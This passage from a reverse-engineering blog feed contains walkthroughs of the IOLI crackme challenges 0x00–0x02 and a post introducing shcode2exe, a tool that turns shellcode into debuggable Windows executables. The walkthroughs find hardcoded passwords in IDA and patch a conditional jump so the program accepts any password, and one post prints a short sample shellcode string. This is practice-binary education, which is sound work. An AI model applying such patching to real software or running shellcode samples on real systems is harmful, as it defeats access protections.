href="https://www.accidentalrebel.com/ioli-crackme-0x00.html"&gt;0x00&lt;/a&gt; and &lt;a href="https://www.accidentalrebel.com/ioli-crackme-0x01.html"&gt;0x01&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="getting-the-password"&gt;Getting the password&lt;/h1&gt;
&lt;p&gt;After the first two challenges I kinda know what to expect already so I skipped running the program and immediately loaded it in IDA.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x02-01" src="https://www.accidentalrebel.com/images/ioli-crackme-0x02-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;So the lines leading to the comparison command now looks more complicated than before. We could easily see that there are some computations that happens thanks to the presence of &lt;code&gt;add&lt;/code&gt; and &lt;code&gt;imul&lt;/code&gt;. Before those, we have two values (&lt;code&gt;5Ah&lt;/code&gt; and &lt;code&gt;1ECh&lt;/code&gt;) which we can easily guess are the values that will be worked on by these arithmetic functions.&lt;/p&gt;
&lt;p&gt;So going through the lines sequentially we can see that the two numbers are first added with &lt;code&gt;add [eax], edx&lt;/code&gt;. Which results in a value of &lt;code&gt;246h&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After that we see the line &lt;code&gt;imul eax, [ebp+var_8]&lt;/code&gt;, which if you follow the sequence closely effectively multiplies &lt;code&gt;246h&lt;/code&gt; by itself, resulting in a value of &lt;code&gt;52B24h&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Convert &lt;code&gt;52B24h&lt;/code&gt; to decimal equates to &lt;code&gt;338724&lt;/code&gt;, which is unsprisingly the password that we need.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x02-02" src="https://www.accidentalrebel.com/images/ioli-crackme-0x02-02.png" /&gt;&lt;/p&gt;
&lt;h1 id="confirming-via-dynamic-analysis"&gt;Confirming via dynamic analysis&lt;/h1&gt;
&lt;p&gt;What we did above is that we used static analysis to inspect the program line by line to determine the final computed password value. Let's use dynamic analysis and step through the code to see how our data is manipulated in memory during this process.&lt;/p&gt;
&lt;p&gt;Let's set a breakpoint immediately after the initial two values are loaded into memory.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x02-03" src="https://www.accidentalrebel.com/images/ioli-crackme-0x02-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;If we look at the memory locations we would see the following:&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x02-04" src="https://www.accidentalrebel.com/images/ioli-crackme-0x02-04.png" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;epb+var_8&lt;/code&gt; points to &lt;code&gt;28FF40&lt;/code&gt; which now contains &lt;code&gt;5Ah&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ebp+var_C&lt;/code&gt; points to &lt;code&gt;28FF3C&lt;/code&gt; which now contains &lt;code&gt;1ECh&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Stepping through the code and checking the memory location after &lt;code&gt;add [eax], edx&lt;/code&gt; shows that the result &lt;code&gt;246h&lt;/code&gt; is saved at memory location &lt;code&gt;28FF40&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x02-05" src="https://www.accidentalrebel.com/images/ioli-crackme-0x02-05.png" /&gt;&lt;/p&gt;
&lt;p&gt;Then after &lt;code&gt;imul eax, [ebp+var_8]&lt;/code&gt; we see that eax now holds the value of &lt;code&gt;52B24h&lt;/code&gt;, confirming the final computed value that we had from our static analysis.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x02-06" src="https://www.accidentalrebel.com/images/ioli-crackme-0x02-06.png" /&gt;&lt;/p&gt;
&lt;h1 id="patching-the-executables"&gt;Patching the executables&lt;/h1&gt;
&lt;p&gt;Patching the executable is actually the same process as &lt;a href="https://www.accidentalrebel.com/ioli-crackme-0x00.html"&gt;my writeup for 0x00&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="on-to-the-next-challenge"&gt;On to the next challenge...&lt;/h1&gt;
&lt;p&gt;While the challenge is still easy, we can see that the complexity is slowly ramping up from previous challenges. We also took the time to confirm the result of our static analysis by debugging and stepping through the code. This is a good practice for me to familiarize myself with IDA, which I hope I could use in future challenges.&lt;/p&gt;</content><category term="Reverse Engineering"/><category term="re"/><category term="crackme"/></entry><entry><title>Introducing shcode2exe</title><link href="https://www.accidentalrebel.com/introducing-shcode2exe.html" rel="alternate"/><published>2021-02-26T07:34:00+08:00</published><updated>2021-02-26T07:34:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-02-26:/introducing-shcode2exe.html</id><summary type="html">&lt;p&gt;shcode2exe converts raw shellcode blobs or strings into debuggable executables targeting 32 or 64-bit Windows, with no Wine dependency when running on Linux.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;[Edit: shcode2exe is &lt;a href="https://docs.remnux.org/discover-the-tools/dynamically+reverse-engineer+code/shellcode#shcode-2-exe"&gt;now part of Remnux&lt;/a&gt;]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I've been playing around with &lt;a href="https://remnux.org/"&gt;Remnux&lt;/a&gt; and encountered a problem trying to get one of the tools to run properly. The tool is &lt;a href="https://github.com/repnz/shellcode2exe"&gt;shellcode2exe&lt;/a&gt;, it is used to compile binary shellcode to a file so it can easily be debugged by a debugger.&lt;/p&gt;
&lt;p&gt;When I checked out the code, I was surprised to find out how simple it is. Basically, what happens is that the inputted shellcode is added to a barebones assembly file using the &lt;code&gt;incbin&lt;/code&gt; assembly instruction. From there, the file is then automatically compiled and linked.&lt;/p&gt;
&lt;p&gt;One big problem with the tool is that it needs to use &lt;a href="https://www.winehq.org/"&gt;Wine&lt;/a&gt; if it needs to run on Linux. I don't want such a huge dependency especially for &lt;a href="https://www.accidentalrebel.com/building-my-virtual-cybersecurity-home-lab.html"&gt;my own malware analysis lab&lt;/a&gt; so I decided to write my own version which have led to the creation of &lt;code&gt;shcode2exe&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="shcode2exe"&gt;shcode2exe&lt;/h2&gt;
&lt;p&gt;While similar in functionality with the original tool, the biggest improvement I made is that it it does not depend on Wine along with other features as listed below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Can accept a shellcode blob or string (String format &lt;code&gt;\x5e\x31&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Can target both 32bit or 64bit Windows architecture. &lt;/li&gt;
&lt;li&gt;Cross platform. Works on Linux or Windows.&lt;/li&gt;
&lt;li&gt;No dependency on Wine when running on Linux&lt;/li&gt;
&lt;li&gt;Tested working with Python v3.3 and above&lt;/li&gt;
&lt;li&gt;Tested working on Windows 7 (Non SP1) and above&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="usage"&gt;Usage&lt;/h2&gt;
&lt;p&gt;Here's the help message for the tool:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="go"&gt;usage: shcode2exe.py [-h] [-o OUTPUT] [-s] [-a {32,64}] input&lt;/span&gt;

&lt;span class="go"&gt;Compile a binary shellcode blob into an exe file. Can target both 32bit or 64bit architecture.&lt;/span&gt;

&lt;span class="go"&gt;positional arguments:&lt;/span&gt;
&lt;span class="go"&gt;  input                 The input file containing the shellcode.&lt;/span&gt;

&lt;span class="go"&gt;optional arguments:&lt;/span&gt;
&lt;span class="go"&gt;  -h, --help            show this help message and exit&lt;/span&gt;
&lt;span class="go"&gt;  -o OUTPUT, --output OUTPUT&lt;/span&gt;
&lt;span class="go"&gt;                        Set output exe file.&lt;/span&gt;
&lt;span class="go"&gt;  -s, --string          Set if input file contains shellcode in string format.&lt;/span&gt;
&lt;span class="go"&gt;  -a {32,64}, --architecture {32,64}&lt;/span&gt;
&lt;span class="go"&gt;                        The windows architecture to use&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here's how to load a file with shellcode in the format of a string&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test.txt
&lt;span class="go"&gt;\x5e\x31\xc0\xb0\x24\xcd\x80\xb0\x24\xcd\x80\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80&lt;/span&gt;
&lt;span class="gp"&gt;$ &lt;/span&gt;./shcode2exe.py&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;test-string.exe&lt;span class="w"&gt; &lt;/span&gt;test.bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Load a file with shellcode in the format of a blob&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;./shcode2exe.py&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;test-blob.exe&lt;span class="w"&gt; &lt;/span&gt;test.bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Use 64 bit architecture for the output (32 bit is the default)&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;./shcode2exe.py&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;test-blob.exe&lt;span class="w"&gt; &lt;/span&gt;-a&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;test.bin
&lt;span class="gp"&gt;$ &lt;/span&gt;file&lt;span class="w"&gt; &lt;/span&gt;test-blob.exe
&lt;span class="go"&gt;test-blob.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="next-steps"&gt;Next steps&lt;/h2&gt;
&lt;p&gt;I decided to reach out to the people behind Remnux to ask if they could consider my tool as a replacement on their platform. It would be great if they would, but it's okay too if they don't, I made it for my own use anyway. (Update 2021-02-07: It's now &lt;a href="https://github.com/REMnux/salt-states/issues/169"&gt;under review&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;For more information about the tool and it's code, go to &lt;a href="https://github.com/accidentalrebel/shcode2exe"&gt;it's Github page&lt;/a&gt;. If you have any comments or suggestions on how to improve it, feel free to tell me via Github issues or dm me at &lt;a href="https://twitter.com/accidentalrebel"&gt;@accidentalrebel&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Tools like shcode2exe are useful for the shellcode analysis workflow shown in the &lt;a href="https://www.accidentalrebel.com/emprisa-maldoc-writeup..html"&gt;Emprisa Maldoc Writeup&lt;/a&gt;.&lt;/p&gt;</content><category term="Tools"/><category term="re"/><category term="tools"/><category term="malware_analysis"/></entry><entry><title>IOLI Crackme 0x01</title><link href="https://www.accidentalrebel.com/ioli-crackme-0x01.html" rel="alternate"/><published>2021-02-20T17:34:00+08:00</published><updated>2021-02-20T17:34:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-02-20:/ioli-crackme-0x01.html</id><summary type="html">&lt;p&gt;IOLI Crackme 0x01 walkthrough — converting hex to decimal to find the password, plus a closer look at how arguments are passed to functions in x86 assembly.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I am continuing my reverse engineering review by tackling the &lt;em&gt;IOLI crackmes&lt;/em&gt; by &lt;a href="https://twitter.com/pof"&gt;@pof&lt;/a&gt;. These are beginner friendly challenges that is perfect for newbies or for those who want to review the basics like me. Check out my writeup for 0x00 &lt;a href="https://www.accidentalrebel.com/ioli-crackme-0x00.html"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="getting-the-password"&gt;Getting the password&lt;/h1&gt;
&lt;p&gt;Of course, the first thing we do is run the program.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x01-01" src="https://www.accidentalrebel.com/images/ioli-crackme-0x01-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;Just like last time, we opened up the program in IDA and focused on the part of the code that does the comparing of passwords.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x01-02" src="https://www.accidentalrebel.com/images/ioli-crackme-0x01-02.png" /&gt;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;149&lt;/span&gt;&lt;span class="no"&gt;Ah&lt;/span&gt;
&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_40137c&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This seems easy enough. &lt;/p&gt;
&lt;p&gt;Initially I entered &lt;code&gt;149A&lt;/code&gt; as the password but this turned out to be incorrect. The reason for this is because &lt;code&gt;scanf&lt;/code&gt; was passed a format of &lt;em&gt;"%d"&lt;/em&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;esp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;Format&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;aD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; &amp;quot;%d&amp;quot;&lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;_scanf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This means that the input it expects is actually a decimal integer. So converting &lt;code&gt;149A&lt;/code&gt; to decimal results in &lt;code&gt;5274&lt;/code&gt;, which is the correct password.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x01-03" src="https://www.accidentalrebel.com/images/ioli-crackme-0x01-03.png" /&gt;&lt;/p&gt;
&lt;h1 id="patching-the-executables"&gt;Patching the executables&lt;/h1&gt;
&lt;p&gt;Patching the executable is actually the same process as &lt;a href="https://www.accidentalrebel.com/ioli-crackme-0x00.html"&gt;my writeup for 0x00&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="passing-arguments-to-functions"&gt;Passing arguments to functions&lt;/h1&gt;
&lt;p&gt;Since the crackme was cracked relatively quickly I want to review and highlight how arguments are passed to functions. &lt;/p&gt;
&lt;p&gt;The format of the &lt;code&gt;scanf&lt;/code&gt; function in C is like so:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;scanf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here's an example of how it is used:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;scanf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If we look at the 0x01 program we could see how the arguments are passed to the &lt;em&gt;_scanf&lt;/em&gt; function by placing the data to send on top of the stack.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;esp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_14&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;esp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;Format&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;aD&lt;/span&gt;&lt;span class="c1"&gt;;  &amp;quot;%d&amp;quot;&lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;_scanf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;lea eax, [ebp+var_4]&lt;/code&gt; gets the address of &lt;em&gt;var_4&lt;/em&gt;, this is the memory location where scanf would put the inputted data. This is then added to the stack with &lt;code&gt;mov [esp+18h+var_14]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;offset aD&lt;/code&gt; gets the address of &lt;code&gt;aD&lt;/code&gt; which contains the string &lt;em&gt;"%d"&lt;/em&gt;. This is the &lt;em&gt;format&lt;/em&gt; parameter that &lt;em&gt;scanf&lt;/em&gt; expects. This is then added to the stack with &lt;code&gt;mov [esp+18h+Format]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With the two parameters added to the stack, it can now be used by the &lt;em&gt;scanf&lt;/em&gt; function when &lt;code&gt;call _scanf&lt;/code&gt; is executed.&lt;/p&gt;
&lt;p&gt;I'm not sure if I was able to explain that properly. At the very least, you should have been able to have a basic idea of how variables are passed to functions. Take note, however, that there are other calling conventions for functions which meants that the passing of arguments can also differ.&lt;/p&gt;
&lt;h1 id="on-to-the-next-challenge"&gt;On to the next challenge...&lt;/h1&gt;
&lt;p&gt;This is the second challenge out of 10 in the IOLI series of challenges. So far the challenges are still very easy, which is fine because it's still good for practice. I look forward to the next one.&lt;/p&gt;</content><category term="Reverse Engineering"/><category term="re"/><category term="crackme"/></entry><entry><title>IOLI Crackme 0x00</title><link href="https://www.accidentalrebel.com/ioli-crackme-0x00.html" rel="alternate"/><published>2021-02-16T21:55:00+08:00</published><updated>2021-02-16T21:55:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-02-16:/ioli-crackme-0x00.html</id><summary type="html">&lt;p&gt;IOLI Crackme 0x00 walkthrough — finding the hardcoded password in IDA Pro and patching the binary to accept any input by changing a jz opcode to jmp.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I am re-familiarizing myself with reverse engineering again by going through some simple crackme challenges. This one is called the IOLI Crackmes by pof. The goal is to find the correct password and also to patch it so that it can accept any input and still show that it's correct.&lt;/p&gt;
&lt;h2 id="getting-the-password"&gt;Getting the password&lt;/h2&gt;
&lt;p&gt;Running the program shows a password prompt. &lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x00-03" src="https://www.accidentalrebel.com/images/ioli-crackme-0x00-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;Of course, randomly entering passwords is going to be a waste of time so I opened up IDA to look at its code.&lt;/p&gt;
&lt;p&gt;I knew that whatever password I enter in the program would be checked against the actual password. This is the part of the program that I should focus on so I scanned the code and found this:&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x00-02" src="https://www.accidentalrebel.com/images/ioli-crackme-0x00-02.png" /&gt;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;esp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;Str2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;Str2&lt;/span&gt;&lt;span class="c1"&gt;; &amp;quot;250382&amp;quot;&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;esp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;Format&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="c1"&gt;; &lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;_strcmp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And just from these few lines alone I already knew what the password is. IDA Pro was helpful enough to add a comment that &lt;code&gt;offset Str2&lt;/code&gt; equates to &lt;code&gt;250382&lt;/code&gt;. Surely enough, this number was the password.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x00-04" src="https://www.accidentalrebel.com/images/ioli-crackme-0x00-04.png" /&gt;&lt;/p&gt;
&lt;h2 id="patching-the-executable"&gt;Patching the executable&lt;/h2&gt;
&lt;p&gt;The next part of the challenge is to patch the executable so that it can accept any input and would still allow us through.&lt;/p&gt;
&lt;p&gt;Looking at the graph view, we want the program to always go to the node on the right which has the "Password OK" message. &lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x00-05" src="https://www.accidentalrebel.com/images/ioli-crackme-0x00-05.png" /&gt;&lt;/p&gt;
&lt;p&gt;The line that we could change to allow us to do this would be this one:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_40138A&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;jz&lt;/code&gt; can be changed to a &lt;code&gt;jmp&lt;/code&gt; command by changing the op code. Opening up the "Patch Bytes" window while the line is highlighted would show us this:&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x00-06" src="https://www.accidentalrebel.com/images/ioli-crackme-0x00-06.png" /&gt;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;74&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;C7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;04&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;40&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;40&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;00&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;E8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;19&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;00&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;00&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The opcode related to &lt;code&gt;jz short loc_40138A&lt;/code&gt; is the first two btyes &lt;code&gt;74 0E&lt;/code&gt;. &lt;code&gt;74&lt;/code&gt; is the "Jump short if equal" opcode and &lt;code&gt;0E&lt;/code&gt; is the relative jump distance. Changing &lt;code&gt;74&lt;/code&gt; to &lt;code&gt;EB&lt;/code&gt; converts it to the "Jump" opcode effectively making the line &lt;code&gt;jmp short loc_40138A&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x00-07" src="https://www.accidentalrebel.com/images/ioli-crackme-0x00-07.png" /&gt;&lt;/p&gt;
&lt;p&gt;After saving, IDA will automatically upgrade the graph. It will now show us that the flow of the program now jumps to the right node directly.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x00-08" src="https://www.accidentalrebel.com/images/ioli-crackme-0x00-08.png" /&gt;&lt;/p&gt;
&lt;p&gt;All that is left to do is to patch the executable via "Edit &amp;gt; Patch Program &amp;gt; Apply patches to input file..." and run the program. From here, any entered password would automatically get accepted.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x00-09" src="https://www.accidentalrebel.com/images/ioli-crackme-0x00-09.png" /&gt;&lt;/p&gt;
&lt;h2 id="on-to-the-next-challenge"&gt;On to the next challenge...&lt;/h2&gt;
&lt;p&gt;This is the first out of the 10 challenges from this set. Since this is the first one, it is only natural for it to be very easy. It's still a good refresher for me especially since the last time I did any reversing was from a few years ago. I look forward to the next challenges, I do hope that they would ramp up in difficulty and also teach me new things for me to improve.&lt;/p&gt;
